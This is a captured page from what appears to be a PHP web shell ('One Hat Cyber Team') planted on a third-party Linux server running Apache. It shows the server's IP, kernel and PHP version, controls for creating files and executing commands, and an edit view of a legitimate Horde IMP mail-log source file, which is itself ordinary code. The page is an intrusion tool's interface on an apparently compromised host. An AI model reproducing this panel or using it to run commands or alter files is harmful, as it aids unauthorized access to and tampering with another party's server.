⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.50
Server IP:
41.128.143.86
Server:
Linux host.raqmix.cloud 6.8.0-1025-azure #30~22.04.1-Ubuntu SMP Wed Mar 12 15:28:20 UTC 2025 x86_64
Server Software:
Apache
PHP Version:
8.3.23
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
share
/
psa-horde
/
imp
/
lib
/
Maillog
/
Edit File: Messages.php
<?php /** * Copyright 2014-2017 Horde LLC (http://www.horde.org/) * * See the enclosed file COPYING for license information (GPL). If you * did not receive this file, see http://www.horde.org/licenses/gpl. * * @category Horde * @copyright 2014-2017 Horde LLC * @license http://www.horde.org/licenses/gpl GPL * @package IMP */ /** * Object representing a series of logged messages. * * @author Michael Slusarz <slusarz@horde.org> * @author Jan Schneider <jan@horde.org> * @category Horde * @copyright 2014-2017 Horde LLC * @license http://www.horde.org/licenses/gpl GPL * @package IMP */ class IMP_Maillog_Messages implements IteratorAggregate { /** * The messages' mailbox. * * @var IMP_Mailbox */ protected $_mbox; /** * IDs of the messages. * * @var Horde_Imap_Client_Ids */ protected $_ids; /** * Message-IDs. * * @var array */ protected $_msgids; /** * Constructor. * * @param IMP_Mailbox $mbox The messages' mailbox. * @param Horde_Imap_Client_Ids $data IDs of the messages. */ public function __construct(IMP_Mailbox $mbox, Horde_Imap_Client_Ids $data) { $this->_mbox = $mbox; $this->_ids = $data; } /** */ public function getMessageIds() { if (isset($this->_msgids)) { return $this->_msgids; } $this->_msgids = array(); $query = new Horde_Imap_Client_Fetch_Query(); $query->envelope(); $ret = $this->_mbox->imp_imap->fetch( $this->_mbox, $query, array('ids' => $this->_ids) ); foreach ($ret as $ob) { $this->_msgids[] = $ob->getEnvelope()->message_id; } return $this->_msgids; } /* Iterator methods. */ public function getIterator() { return new ArrayIterator($this->getMessageIds()); } }
Simpan